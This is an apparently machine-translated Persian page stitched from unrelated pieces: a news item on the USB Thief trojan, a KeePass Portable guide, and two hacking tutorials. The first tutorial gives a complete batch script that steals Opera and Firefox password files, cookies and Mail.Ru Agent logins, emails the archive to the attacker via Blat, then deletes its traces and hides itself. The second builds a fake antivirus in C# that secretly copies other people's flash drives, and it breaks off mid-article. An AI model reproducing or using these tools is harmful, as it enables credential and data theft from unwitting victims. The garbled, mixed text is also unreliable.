یک تروجان بسیار غیرمعمول: این بدافزار USB Thief (Win32/PSW.Stealer.NAI) نام گرفت. این بدافزار بر روی سرقت اطلاعات متمرکز شده است، روی درایوهای فلش معمولی پخش می شود و کار می کند و همچنین به طرز ماهرانه ای آثار حضور خود را در سیستم پنهان می کند. تروجان برای جاسوسی سایبری ایده آل است، زیرا حتی می تواند به سیستم هایی دسترسی پیدا کند که از شبکه ایزوله شده اند، اگر یک درایو USB به آنها متصل شود.

بر خلاف سایر تهدیدات USB که به راه اندازی و جعل میانبرهای برنامه برای شروع بدافزار می چسبند، USB Thief متفاوت عمل می کند. تروجان برای استفاده از این واقعیت طراحی شده است که کاربران اغلب نسخه های قابل حمل برنامه هایی مانند فایرفاکس، NotePad++، TrueCrypt و غیره را در درایوهای فلش ذخیره می کنند. بدافزار به خوبی در زنجیره دانلود چنین برنامه هایی ادغام شده است و به عنوان یک افزونه یا فایل DLL. بنابراین، هنگامی که یک کاربر یک برنامه آشنا را از درایو فلش راه اندازی می کند، یک تروجان نیز همراه با آن (در پس زمینه) راه اندازی می شود.

نویسنده ناشناس بدافزار از محافظت جدی برای توسعه خود مراقبت کرد. USB Thief با استفاده از شناسه منحصر به فرد و تنظیمات درایو به هر فلش درایو آلوده متصل می شود. برخی از فایل های تروجان با رمزگذاری AES128 محافظت می شوند و کلید بر اساس پارامترهای منحصر به فرد دستگاه تولید می شود. همچنین، نام فایل های بدافزار در هر مورد متفاوت است: آنها بر اساس محتویات درایو فلش و زمان ایجاد فایل ها تولید می شوند. هنگام تلاش برای کپی کردن USB Thief در فلش مموری دیگر یا معمولی سختدیسک، این سیستم حفاظتی دو مرحله ای از کار کردن بدافزارها جلوگیری می کند و مهندسی معکوس را نیز به طور جدی پیچیده می کند.

ساختار تروجان

USB Thief مستقیماً از درایو فلش کار می کند و هیچ اثری روی خود سیستم باقی نمی گذارد. تروجان از شش فایل تشکیل شده است که چهار فایل آن قابل اجرا و دو فایل حاوی اطلاعات پیکربندی هستند. اولین لودر مسئول راه اندازی تروجان به همراه نسخه قابل حمل یک برنامه است. او دستگاه USB را بررسی می کند و مطمئن می شود که می تواند اطلاعات دزدیده شده را روی آن بنویسد و در اینجا ذخیره کند. سپس لودر دوم راه اندازی می شود. نام فرآیندهای والد را بررسی می‌کند و مطمئن می‌شود که در یک محیط معمولی اجرا می‌شود (و هیچ‌کس سعی نمی‌کند آن را تجزیه کند). لودر سوم نیز به نوبه خود آنتی ویروس های سیستم را بررسی می کند.

آخرین، چهارمین محموله ای که در آن تعبیه شده است فرآیند در حال اجرا، مستقیماً مسئول سرقت اطلاعات است. USB Thief اسناد، تصاویر، لیست فایل‌ها را از تمام درایوهای موجود، داده‌ها می‌دزدد رجیستری ویندوزو اطلاعات جمع آوری شده توسط WinAudit. تمام اطلاعات دزدیده شده بر روی یک فلش مموری ذخیره می شود و با استفاده از رمزنگاری بیضوی رمزگذاری می شود.

کارشناسان ESET اشاره می کنند که حملات از با استفاده از USBدزدی هنوز یک عمل رایج نیست. با این حال، تروجان بسیار خطرناک است، زیرا تشخیص وجود آن دشوار است و پس از حذف درایو USB، هیچ اثری از سرقت اطلاعات باقی نمی ماند. گزارش این شرکت همچنین بیان می‌کند که نویسنده بدافزار، در صورت تمایل، می‌تواند بدافزار خود را با جایگزین کردن محموله برای سرقت اطلاعات با هر بدافزار دیگری، «مصرف مجدد» کند.

در این مقاله توضیح خواهم داد که چگونه سریع و بدون مشکل، ویروسی بنویسید و بسازید که فایل ها را با رمز عبور می دزدد و همه را به صندوق پستی می فرستد.
بیایید با این واقعیت شروع کنیم که ویروس با bat "e (CMD، شما می توانید دستورات اولیه را بگیرید) نوشته می شود، یعنی در حالت معمول فایل متنیو با استفاده از مترجم استاندارد و داخلی ویندوز - "خط فرمان" اجرا خواهد شد.
برای نوشتن چنین ویروسی، باید محل ذخیره سازی دقیق آن فایل هایی را که می دزدد، بدانید، اجزای Blat که می توانند از سایت آفلاین http://www.blat.net/ یا از سرور ما دانلود شوند. و همچنین یک جزء از بایگانی WinRaR Rar.exe (شما می توانید بدون آن انجام دهید).
دفترچه یادداشت را باز کنید و کد زیر را در آن کپی کنید:

@echo off md %systemroot%\wincs md %SystemDrive%\pass\ md %SystemDrive%\pass\opera\ md %SystemDrive%\pass\Mozilla\ md %SystemDrive%\pass\MailAgent\ md %SystemDrive%\pass MailAgent\reg attrib %systemroot%\wincs +h +s +r attrib %SystemDrive%\pass +h +s +r copy /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe" کپی /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" کپی /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" CD /D % APPDATA%\Opera\Opera\ copy /y wand.dat %SystemDrive%\pass\opera\wand.dat copy /y cookies4.dat %SystemDrive%\pass\opera\cookies4.da regedit.exe -ea %SystemDrive%\ pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2 regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\ magent_logins3 CD /D %APPDATA% Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul Xcopy Mra\Update\ver.txt %SystemDrive%\pass\ MailAgent /K /H /G /Q /R /S /Y > CD nul %AppData%\Mozill a\Firefox\Profiles\*.default\ copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite copy /y key3.db %SystemDrive%\pass\Mozilla\key3.db copy /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite copy /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul del /s /q %SystemRoot%\Rar.exe %SystemDrive%\pass\ rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\ copy /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar سی دی %systemroot%\wincs %systemroot %\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u login -pw رمز عبور ren *.rar pass.rar %systemroot%\wincs\blat.exe -body FilesPassword -to [email protected] -%systemroot%\wincs\pass.rar rmdir /s /q %SystemDrive%\pass rmdir /s /q %systemroot%\wincs del /s /q %systemroot%\blat را ضمیمه کنید. exe del /s /q %systemroot%\blat.dll del /s /q %systemroot%\blat.lib attrib +a +s +h +r %systemroot%\wind.exe EXIT cls

من تعداد زیادی از کدهای خود باتینکا را نمی نویسم.
@echo off - بدن باسن را پنهان می کند (بنابراین نیازی به آن نیست، اما همچنان)
md %systemroot%\wincs - پوشه wincs را در آن ایجاد می کند پوشه سیستمویندوز، مهم نیست که روی چه درایوی نصب شده باشد یا چه نامی دارد.
md %SystemDrive%\pass\ - یک پوشه پاس در درایوی که ویندوز در آن نصب شده است ایجاد می کند.
md %SystemDrive%\pass\opera\ - پوشه opera را ایجاد می کند که در آن wand.dat و cookies4.dat از مرورگر اپرا(حداکثر نسخه 11*، opera رمزهای عبور خود را در فایل wand.dat ذخیره می کند)
md %SystemDrive%\pass\Mozilla\- یک پوشه موزیلا ایجاد می کند که فایل ها از آن در می آیند مرورگر موزیلا(cookies.sqlite ,key3.db ,signons.sqlite ) که رمزهای عبور در آن ذخیره می شود.
md %SystemDrive%\pass\MailAgent\- یک پوشه MailAgent ایجاد می کند که فایل های حاوی تاریخچه مکاتبات و کلیدهای رجیستری (ذخیره رمزهای عبور) از Mail Agent در آن کپی می شود.
md %SystemDrive%\pass\MailAgent\reg- یک پوشه reg ایجاد می کند
attrib %systemroot%\wincs +h +s +r- ویژگی هایی را در پوشه wincs قرار می دهد و در نتیجه آن را از دید پنهان می کند.
ویژگی %SystemDrive%\pass +h +s +r- مانند بالا.
کپی /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe"- فایل blat.exe را از محل دانلود در پوشه wincs کپی می کند
کپی /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll"- فایل blat.dll را از محل دانلود در پوشه wincs کپی می کند
copy /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib"- فایل blat.lib را از محل دانلود در پوشه wincs کپی می کند
CD /D %APPDATA%\Opera\Opera\ - به پوشه opera می رود که در آن فایل های دارای رمز عبور (و نه تنها) از opera در آن قرار دارند.
کپی /y wand.dat %SystemDrive%\pass\opera\wand.dat- فایل wand.dat را در پوشه opera کپی می کند
کپی /y cookies4.dat %SystemDrive%\pass\opera\cookies4.dat- فایل cookie4.dat را در پوشه opera کپی می کند
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2- کلید رجیستری magent_logins2 را که رمز عبور در آن ذخیره می شود به پوشه reg صادر می کند
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3- کلید رجیستری magent_logins3 را که رمز عبور در آن ذخیره می شود به پوشه reg صادر می کند
CD / D %APPDATA% - به پوشه AppData بروید
Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul- محتویات پوشه Mra\Base را در پوشه MailAgent کپی می کند
Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul- فایل ver.txt را در پوشه MailAgent کپی می کند
سی دی %AppData%\Mozilla\Firefox\Profiles\*.default\- به پوشه ای با نمایه مرورگر موزیلا بروید
copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite- فایل cookies.sqlite را در پوشه موزیلا کپی می کند
کپی /y key3.db %SystemDrive%\pass\Mozilla\key3.db- فایل key3.db را در پوشه موزیلا کپی می کند
copy /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite- فایل signons.sqlite را در پوشه موزیلا کپی می کند
کپی /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul- جزء بایگانی WinRar Rar.exe را در پوشه pass کپی می کند
del /s /q %SystemRoot%\Rar.exe- جزء بایگانی را از پوشه ویندوز حذف می کند
%SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\- محتویات پوشه پاس را بایگانی کنید
کپی /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rarآرشیو ایجاد شده را در پوشه wincs کپی کنید
cd %systemroot%\wincs - به پوشه wincs بروید
%systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u login -pw رمز عبور - برنامه Blat را برای ارسال بایگانی با مشخص کردن داده ها برای مجوز و ارسال نامه آماده می کند. فراموش نکنید که داده های خود را از صندوق پستی که نامه با بایگانی از آن ارسال می شود مشخص کنید. ارسال شد.
ren *.rar pass.rar - فقط در صورتی که بایگانی در طول فرآیند نام اشتباهی نداشته باشد، نام آن را دوباره به pass.rar تغییر می دهیم.
%systemroot%\wincs\blat.exe -body Files Password -to [email protected] -%systemroot%\wincs\pass.rar را ضمیمه کنید- مشخص کنید نامه به کدام آدرس پستی ارسال می شود و آن را ارسال کنید.
rmdir /s /q %SystemDrive%\pass- پوشه پاس را حذف کنید
rmdir /s /q %systemroot%\wincs- پوشه wincs را حذف کنید
del /s /q %systemroot%\blat.exe
del /s /q %systemroot%\blat.dll- اجزای Blat را از پوشه ویندوز حذف کنید.
del /s /q %systemroot%\blat.lib- اجزای Blat را از پوشه ویندوز حذف کنید.
attrib +a +s +h +r %systemroot%\wind.exe- ما صفاتی را بر خود می گذاریم و از این طریق خود را از چشم پنهان می کنیم.
EXIT - فرآیند باتینک را کامل کرده و خارج شوید.
cls - خروجی هر خطی را در intraperator پاک کنید.
کپی شده، ذخیره به عنوان wind.bat و کامپایل در exe با استفاده از برنامه های خفاشبه مبدل exe، سپس همه چیز را با هم جمع می کنیم، یعنی کامپوننت های برنامه Blat و کامپوننت بایگانی WinRar را می گیریم (می توانید آن را دانلود کنید) و آن را در یک فایل اجرایی می چسبانیم یا با فلان برنامه، مسیر تخلیه همه فایل ها باید be% SystemRoot% یا% WindowsDir % یا %windir% .
در نتیجه، ویروسی دریافت می‌کنیم که توسط آنتی‌ویروس‌ها شلیک نمی‌شود و بایگانی حاوی فایل‌ها را به ایمیل شما می‌فرستد. فایل‌هایی که به ایمیل می‌آیند را می‌توان با استفاده از بازیابی چند رمز عبور رمزگشایی کرد، البته نه همه، بلکه فقط از wand. .dat از opera، و سپس اگر به نسخه های 11 * به روز نشد. همه فایل های دیگر را می توان با جایگزین کردن آنها با فایل های خود رمزگشایی کرد.
فکر می‌کنم این پایان کار است، اگر سوالی دارید بپرسید.
با تشکر از توجه شما، بهترین ها!
©TheHackWorld.in را تعویض کنید

بسیاری از شرکت ها، از جمله سونی و ادوبی، قبلاً قربانی هکرهایی شده اند که میلیون ها رمز عبور و سایر داده های کاربر را به سرقت برده اند. تجزیه و تحلیل این اطلاعات نشان داد که بسیاری از کاربران اغلب از رمزهای عبور ضعیف مانند "123456" یا رمز عبور مشابه برای بسیاری از خدمات استفاده می کنند. این کار آنها را برای هکرها بسیار تسهیل می کند و در عین حال می توان چنین بی دقتی را درک کرد: چه کسی می تواند بیش از دوازده رمز عبور پیچیده را به خاطر بسپارد؟

یک راه حل ساده می تواند یک تکه کاغذ باشد که زیر صفحه کلید چسبانده شده باشد. هیچ هکری قادر به تجاوز به آن نخواهد بود، اما باید دائماً افرادی را که در نزدیکی رایانه شما هستند زیر نظر داشته باشید. و اگر می خواهید از رایانه شخص دیگری وارد حساب خود شوید، این برگه هیچ فایده ای ندارد.

ابزار رایگان KeePass 2 Portable این معضل را حل می کند. برای عملکرد آن فقط به یک فلش USB با 10 مگابایت فضای خالی نیاز دارید که یک برنامه کمکی روی آن نصب کنید. در آینده، شما باید فقط یک رمز عبور را به خاطر بسپارید - از منطقه محافظت شده درایو فلش. پس از همه، در آن KeePass داده های ورود به سرویس های وب شما را به شکل یک بانک داده رمزگذاری شده ذخیره می کند، که توسط یک رمز عبور اصلی محافظت می شود.

تروجان هایی که رمزهای عبور را می دزدند نمی توانند چیزی را کشف کنند. و از آنجایی که دیگر نیازی به به خاطر سپردن ده ها رمز عبور ندارید، می توانید برای هر سرویس وب از یک رمز عبور جدید استفاده کنید. رمز عبور قوی. اکنون نحوه استفاده از KeePass را با جزئیات به شما خواهیم گفت.

چگونه انجامش بدهیم

1 یک گاوصندوق رمز عبور نصب کنید


یک گاوصندوق رمز عبور نصب کنید

یک درایو فلش USB را در رایانه شخصی قرار دهید، یک پوشه جدید روی آن ایجاد کنید و محتویات آرشیو را با نرم افزار KeePass در آنجا کپی کنید. برنامه KeePass.exe را اجرا کنید. پس از راه اندازی، آن را فعال کنید جستجوی خودکاربا کلیک بر روی "فعال کردن" در پنجره پاپ آپ به روز رسانی می شود. سپس "View | را انتخاب کنید Change Language" و روی "Get more languages" کلیک کنید.

فایل زبان روسی را از سایتی که باز می شود با کلیک بر روی «روسی |. دانلود کنید 2.25+" محتویات آرشیو را در یک درایو USB استخراج کنید. دوباره بر روی "مشاهده | زبان را تغییر دهید، "روسی" را انتخاب کنید و KeePass را با فشار دادن دکمه "بله" مجددا راه اندازی کنید.

2 یک پایگاه داده رمز عبور جدید ایجاد کنید


یک پایگاه داده رمز عبور جدید ایجاد کنید

"فایل | New" و درایو USB را به عنوان ذخیره رمز عبور مشخص کنید. در پنجره بعدی برنامه از شما می خواهد رمز اصلی را تنظیم کنید. هر بار که KeePass را راه اندازی می کنید باید آن را وارد کنید.

3 حالت محافظت شده را فعال کنید


حالت محافظت شده را فعال کنید

برای اینکه تروجان نتواند رمز شما را برای KeePass بخواند، باید از حالت محافظت شده برنامه برای ورود به آن استفاده کنید، مشابه UAC در ویندوز 7. برای این کار در KeePass به «ابزار | تنظیمات | امنیت، به پایین پنجره بروید و کادر کنار «رمز عبور اصلی را در حالت امن وارد کنید» علامت بزنید.

4 پایگاه داده را با رمزهای عبور پر کنید


پایگاه داده را با رمزهای عبور پر کنید

KeePass می تواند رمزهای عبور را در گروه ها مرتب کند. به‌طور پیش‌فرض، بانک رمز جدید شما دارای گروه‌هایی مانند «OS» یا «Internet» است. خلق كردن رکورد جدید، گروه مناسب را انتخاب کنید (یا یک گروه جدید بسازید)، روی قسمت سفید سمت راست کلیک راست کرده و سپس بر روی "Add Entry" کلیک کنید.

تمام فیلدها را پر کنید و OK را بزنید. از آنجایی که برای ورود به هر حساب دیگر نیازی به به خاطر سپردن گذرواژه‌ها ندارید، می‌توانید رمزهای عبور جدید و پیچیده‌تری را تنظیم کنید که می‌توانند ایجاد شوند، برای مثال در passwort-generator.com.

5 از مجوز خودکار استفاده کنید


اگر می خواهید با استفاده از KeePass وارد سرویس شوید، گروهی را که رمز عبور مربوطه در آن ذخیره شده است باز کنید. کلیک راستروی ورودی ذخیره سازی مربوطه کلیک کنید رمزهای عبور KeePassو "شروع شماره گیری خودکار" را از لیست کشویی انتخاب کنید. پس از آن، برنامه داده های شما را به مرورگر منتقل می کند و مرورگر پنجره جدیدی را باز می کند که در آن وارد حساب کاربری خود می شوید.

لطفاً توجه داشته باشید که در قسمت "URL" باید آدرس اینترنتی را که معمولاً برای مجوز در مرورگر وارد می کنید وارد کنید، در غیر این صورت وارد کردن رمز عبور خودکار از طریق KeePass کار نخواهد کرد.

6 KeePass را گسترش دهید


KeePass را گسترش دهید

اگر می‌خواهید عملکرد KeePass را گسترش دهید، به «ابزار |» بروید ماژول ها | ماژول‌های بیشتر»، پس از آن به سایت هدایت می‌شوید پسوندهای مفید(توصیه های ما را می توان در جدول بالا یافت). حال با کلیک بر روی نام افزونه، آن را دانلود کرده و در یک فلش درایو استخراج کنید.

KeePass را مجددا راه اندازی کنید و به Tools | بروید ماژول ها لیستی از افزونه های موجود در پایین نمایش داده می شود (برخی از آنها را می توان پیکربندی کرد).

بهترین برنامه های افزودنی برای KeePass

گاوصندوق خود را به رمز عبور مجهز کنید ویژگی های اضافیبرای مثال تابع کپی رزرو کنیدیا انتقال رمز عبور برای تلفن های همراه.

نام

شرح

DataBase Backup حفاظت بانک رمز عبور را در صورت دزدیده شدن یا گم شدن درایو USB تنظیم می کند.
رمز دو ماهی
KeeAgent یک الگوریتم رمزگذاری اضافه می کند که شکستن آن تقریبا غیرممکن است. توجه داشته باشید که این کار باعث کندتر شدن KeePass می شود.
مبادله کلید یک الگوریتم رمزگذاری اضافه می کند که شکستن آن تقریبا غیرممکن است. توجه داشته باشید که این کار باعث کندتر شدن KeePass می شود.
KeeForm سایت های مورد علاقه شما را با کلیک یک دکمه باز می کند و به طور خودکار جزئیات ورود شما را پر می کند.

برای انسان های فانی صرف، فلش درایو وسیله ای برای انتقال اسناد / فیلم ها / عکس ها و سایر اطلاعات شخصی (و گاهی اوقات بسیار شخصی) است. اما برای هکرها، فلش مموری هم قربانی و هم یک ابزار جنگی است. امروز تمام ظرافت های تخلیه نامحسوس داده ها از درایوهای فلش به رایانه را به شما خواهم گفت و همچنین به شما یاد خواهم داد که چگونه درایوهای فلش بی ضرر را به برنامه هایی برای پشتیبان گیری از رمزهای عبور از یک رایانه "بزرگ" تبدیل کنید.

تله برای فلش درایوهای دیگران

ایده برنامه "Evil Computer" به شرح زیر خواهد بود. ما ابزار کوچکی را توسعه خواهیم داد که وانمود می کند یک آنتی ویروس فوق مگا پیشرفته است که هدف آن حذف کیفی ویروس های "خطرناک" از درایوهای فلش است. شما کسی را با فلش مموری آلوده به ویروس غافلگیر نخواهید کرد، بنابراین "ضد ویروس" تخصصی ما باعث نگرانی یک کاربر ساده لوح نخواهد شد. در مقابل، یک درایو فلش USB را در رایانه خود قرار دهید و پیامی مانند: "ویروس شناسایی شد. من یک اسکن دقیق از همه پرونده ها برای وجود آلوده انجام می دهم "، - قطعا منتظر اتمام این عملیات خواهد بود.

آماده سازی ابزار

اینطور بنویس برنامه مفیدما در حال حاضر مد روز سی شارپ خواهیم بود. انعطاف پذیری زبان و عملکرد غنی پلت فرم دات نت به شما این امکان را می دهد که برنامه های کاربردی را با سرعت برق توسعه دهید. این دقیقا همان چیزی است که ما نیاز داریم. ما علاقه مند به برداشتی هستیم که بتوانیم برداشت کنیم، نه فرآیند خسته کننده کدگذاری.

یکی از اجزای مهم برنامه ما رابط کاربری خواهد بود. هرچه محکم تر آن را بسازید، احتمال بیشتری وجود دارد که قربانی متوجه گرفتگی نشود و با آرامش منتظر تکمیل اسکن ضد ویروس باشد. من خیلی زحمت ندادم و فقط یک عکس و یک ProgressBar در قالب یک پروژه تمیز قرار دادم. شما می توانید یک طراحی جذاب داشته باشید. من به شما توصیه می کنم که به طراحی یک آنتی ویروس واقعی نگاه کنید و برنامه خود را تقریباً به همان سبک طراحی کنید.

ما تعیین تکلیف کردیم

ما فرض می کنیم که در مورد مسائل سازمانی و الگوریتم عمل تصمیم گرفته ایم، وقت آن است که در مورد نکات ظریف فنی صحبت کنیم. بنابراین، آنتی ویروس ما باید در هنگام نصب فلش درایو کار کثیف خود را شروع کند. یک بار دیسک جدیددر سیستم ظاهر می شود، برنامه ما باید حرف آن را مشخص کند و شروع به کپی کند.

قبل از نوشتن این مقاله، با کد منبع چنین برنامه ای برخورد کردم. نویسنده مثال وجود یک درایو فلش را با برشمردن دوره ای همه دیسک ها برای وجود درایو از نوع " تعیین کرد. رسانه قابل جابجایی". اول فکر کردم همین راه را بروم، اما یک صدای درونی حکایت از بی منطقی داشت. پس از سنجیدن تمام "مزایای" و همه "خوب، روشن است"، این ایده را کنار گذاشتم و برای قدم زدن در MSND رفتم. پنج دقیقه بعد معلوم شد که من این کار را به دلایل خوبی انجام داده ام. جواب پیدا شد!

بدون WinAPI، هیچ جا ...

موثرترین راه برای اطلاع از اتصال تجهیزات جدید (در مورد ما، درایوهای فلش) با گرفتن و تجزیه و تحلیل پیام WM_DEVICECHANGE است. در حین نصب دستگاه پیام به تمامی ویندوزها ارسال می شود و ما به راحتی می توانیم آن را در اپلیکیشن خود پردازش کنیم. برای این کار کافی است تابع WindowProc را توضیح دهیم. در عمل به این صورت است:

LResult CALLBACK WindowProc (HWND hwnd، //شناسه پنجره UINT uMsg، //شناسه پیام WPARAM wParam، //رویداد رخ داد LPARAM lParam //نشانگر به ساختار حاوی داده)

در بدنه تابع، باید مقدار پارامتر WParam را با شناسه رویدادهای مختلف مربوط به پیام WM_DEVICECHANGE مقایسه کنید. برای مثال ما، موارد زیر خواهد بود:

  • DBT_DEVICEARRIVAL - تجهیزات اضافه شده است
  • DBT_DEVICEREMOVECOMPLETE - سخت افزار به طور کامل حذف شده است
  • خوب، ما می دانیم که چگونه واقعیت اتصال تجهیزات جدید را ثابت کنیم، اما چگونه مطمئن شویم که یک درایو فلش USB را وصل کرده اید؟ بسیاری از دستگاه های با قابلیت اتصال داغ (من در مورد usb صحبت می کنم) (پرینتر، اسکنر، مودم و غیره) وجود دارد. خوشبختانه این مشکل به سادگی حل شده است. با استفاده از پارامتر LParam می توان به ساختار _DEV_BROADCAST_HDR اشاره کرد که دارای یک فیلد dbch_devicetype است. در اینجا با توجه به ارزش این میدان، نتایج مناسبی گرفته می شود. اگر برابر با DEV_DEVTYP_VOLUME است، وقت آن است که شادی کنید و دست بزنید - یک درایو فلش به ما متصل شده است!

    Typedef struct _DEV_BROADCAST_HDR ( DWORD dbch_size; //DWORD ساختار اندازه dbch_devicetype; //نوع دستگاه DWORD dbch_reserved؛ //رزرو شده، استفاده نشده)DEV_BROADCAST_HDR، *PDEV_HDRC;

    یک درایو فلش USB در pisyuk ما قرار داده شد - بیایید سعی کنیم حرف درایو را که سیستم به آن اختصاص داده است، پیدا کنیم. همانطور که در "حوزه معجزه"، می توانید آن را حدس بزنید، اما بهتر است اطلاعات را از ساختار DEV_BROADCAST_VOLUME بیرون بکشید.

    Typedef struct _DEV_BROADCAST_VOLUME ( DWORD dbcv_size; //DWORD ساختار اندازه dbcv_devicetype; //نوع دستگاه DWORD dbcv_reserved؛ //DWORD رزرو شده dbcv_unitmask؛ //DWORD dbcv_unitmask; //DWORD /DWORD/DBCVORDG;

    از بین تمام فیلدهای این ساختار، ما به dbcv_unitmask علاقه مندیم. توجه داشته باشید که این ویژگی فقط حاوی یک بیت از حرف است، نه نمایش نمادین آن. به عنوان مثال، اگر مقدار 0 باشد، حرف درایو A خواهد بود. اگر 1، سپس B، و غیره. برای راحتی به دست آوردن یک حرف نمادین، بهتر است یک تابع بنویسید.

    اگر مدت زیادی است که ستون ما را می خوانید و با توابع API آشنا هستید، دیگر نیازی به خواندن قسمت بعدی مقاله نیست. ویرایشگر را باز کنید و مجسمه سازی برنامه ها را شروع کنید. من تمام ساختارها و عملکردهای لازم را شرح داده ام. فقط باید آنها را در برنامه قرار دهید. تصمیم خود را بگیرید و من به طور خاص شروع به غواصی در دات نت و سی شارپ خواهم کرد.

    بیایید دات نت "اهم" را بزنیم

    زمان شروع تمرین و اعمال دانش خود در زبان سی شارپ است. "چه لعنتی؟ - تو پرسیدی. - من نیمی از مقاله را در مورد WinAPI صحبت کردم، اما بعداً به طور احمقانه تصمیم گرفتم که به همه توابع به شکل کد بومی فراخوانی کنم؟ سرعت صاعقه ادعایی توسعه کجاست؟

    در چیزی حق با شماست. برنامه ما در واقع از توابع WinAPI استفاده می کند (راه ساده تر نیست)، اما ما خودمان آنها را توصیف نمی کنیم. بسیاری از توسعه دهندگان با مشکل تعیین درایوهای فلش مواجه شدند. در نتیجه این درگیری ها، کلاس های رایگان برای C # شروع به ظاهر شدن کردند که در آن همه عملکردهای لازم قبلاً اجرا شده است. ما فقط باید چنین خالی (جزء خوانده شده) را به پروژه خود متصل کنیم و چند روش را فراخوانی کنیم. اکنون از یکی از این کلاس ها استفاده خواهیم کرد. اما آگاهی از ساختارهایی که در بالا توضیح داده شد قطعاً هنگام انتقال این برنامه به API ویندوز مفید خواهد بود.

    کلاس های آماده زیادی وجود دارد که چنین مشکلاتی را حل می کند، اما من نسخه Jan Dolinay را بیشتر دوست داشتم. این شخص یک کلاس DriveDetector بسیار آسان برای استفاده و قابل درک نوشت که می تواند:

  • مشخص کنید که فلش درایو متصل است یا خیر
  • درخواستی را برای جدا کردن فلش مموری متصل تعریف کنید
  • مشخص کنید که فلاش خاموش است
  • نامه درایو فلش مموری تازه متصل شده را دریافت کنید
  • لیستی از فایل های باز شده از درایو فلش را ارائه دهید
  • و مهمتر از همه، کار با این کلاس بسیار آسان است - اکنون این را خواهید دید. اتصال یک کلاس به پروژه شما به روشی استاندارد انجام می شود و هیچ فایده ای در این مورد ندارد. بنابراین به سراغ مقداردهی اولیه می رویم. به این صورت انجام می شود:

    FlashDriveDetector = جدید DriveDetector(); flashDriveDetector.DeviceArrived += DriveDetectorEventHandler جدید (OnDriveArrived); flashDriveDetector.DeviceRemoved += DriveDetectorEventHandler جدید (OnDriveRemoved);

    پس از نمونه سازی یک شی از کلاس DriveDetector، کنترل کننده رویداد DevieArrived() و DriveRemoved() را تعریف می کنم. با نام آنها، حدس زدن مسئولیت آنها دشوار نیست. تمام کدهای اولیه بهتر است در روش Form1() نوشته شوند. کد اصلی برنامه ما در مدیریت رویداد DeviceArrived خواهد بود. می توانید متن او را در نوار کناری مشاهده کنید:

    رشته dirName = Environment.GetCommandLineArgs() + "flash_" + DateTime.Now.ToString("dd-MM-yy-hh-mm-ss"); CreateDirectory(dirName); xDirectory flashcopier = new xDirectory(); flashcopier.IndexComplete += جدید IndexCompleteEventHandler(IndexComplete); flashcopier.ItemCopied += New ItemCopiedEventHandler(ItemCopied); flashcopier.CopyComplete += جدید CopyCompleteEventHandler(CopyComplete); flashcopier.Source = new DirectoryInfo(e.Drive.ToString()); flashcopier.Destination = new DirectoryInfo(dirName); flashcopier.Overwrite = true; flashcopier.FolderFilter = "*"; flashcopier.FileFilters.Add("*.doc"); flashcopier.FileFilters.Add("*.xls"); //تعریف فیلترهای دیگر //.... flashcopier.StartCopy();

    در همان ابتدای لیست، مسیر پوشه ای را که در آن محتویات درایو فلش را کپی می کنیم، تعریف می کنم. ما در فهرست "تاریخ flash_current" واقع به همراه پوشه ای که برنامه ما از آن راه اندازی شده است کپی می کنیم - راحت تر است. پس از تصمیم گیری در مورد نام پوشه، سعی می کنم آن را با استفاده از تابع ()CreateDirectory ایجاد کنم. من این تابع را صرفا برای راحتی نوشتم. این یک نمونه از شی DirectoryInfo را ایجاد می کند که برای کار با دایرکتوری ها طراحی شده است و متد Create () آن را فراخوانی می کند که یک پوشه جدید ایجاد می کند.

    پس از ایجاد یک پوشه، می توانید کپی کنید. من تمام فایل ها را با استفاده از یک شی از نوع xDirectory کپی می کنم. اگر خودتان کد را از لیست تایپ کنید، سپس هنگام تلاش برای کامپایل، کامپایلر خطایی ایجاد می کند که در آن به صورت سیاه و سفید می گوید: "یک شی از این نوع یافت نشد."

    نکته این است که xDirectory یک کلاس شخص ثالث است. روزی روزگاری، آن را در اینترنت پیدا کردم و از آن زمان تاکنون اغلب از آن در پروژه هایم استفاده می کنم. من آن را دوست دارم زیرا کافی است یک متد را برای کپی کردن زیرپوشه ها فراخوانی کنید. علاوه بر این، به شما امکان تنظیم فیلترها را می دهد.

    واقعاً بدون آن انجام دهید. ما کلاس های استاندارد را می گذرانیم، تکنیکی که برای همه برنامه نویسان شناخته شده است - بازگشتی - و چند ده خط کد می نویسیم. افسوس، من مطلقاً نمی خواهم این کار را انجام دهم. قرن بیست و یکم در حیاط است، ما باید اقدامات خود را به حداکثر برسانیم و xDirectory در این امر به ما کمک خواهد کرد.

    ماژول با کلاس روی دیسک ما قرار دارد و شما می توانید با دیدن جدول مربوطه از هدف متدها/ویژگی ها/رویدادها مطلع شوید.

    ویژگی های کلاس xDirectory

    روش های کلاس xDirectory

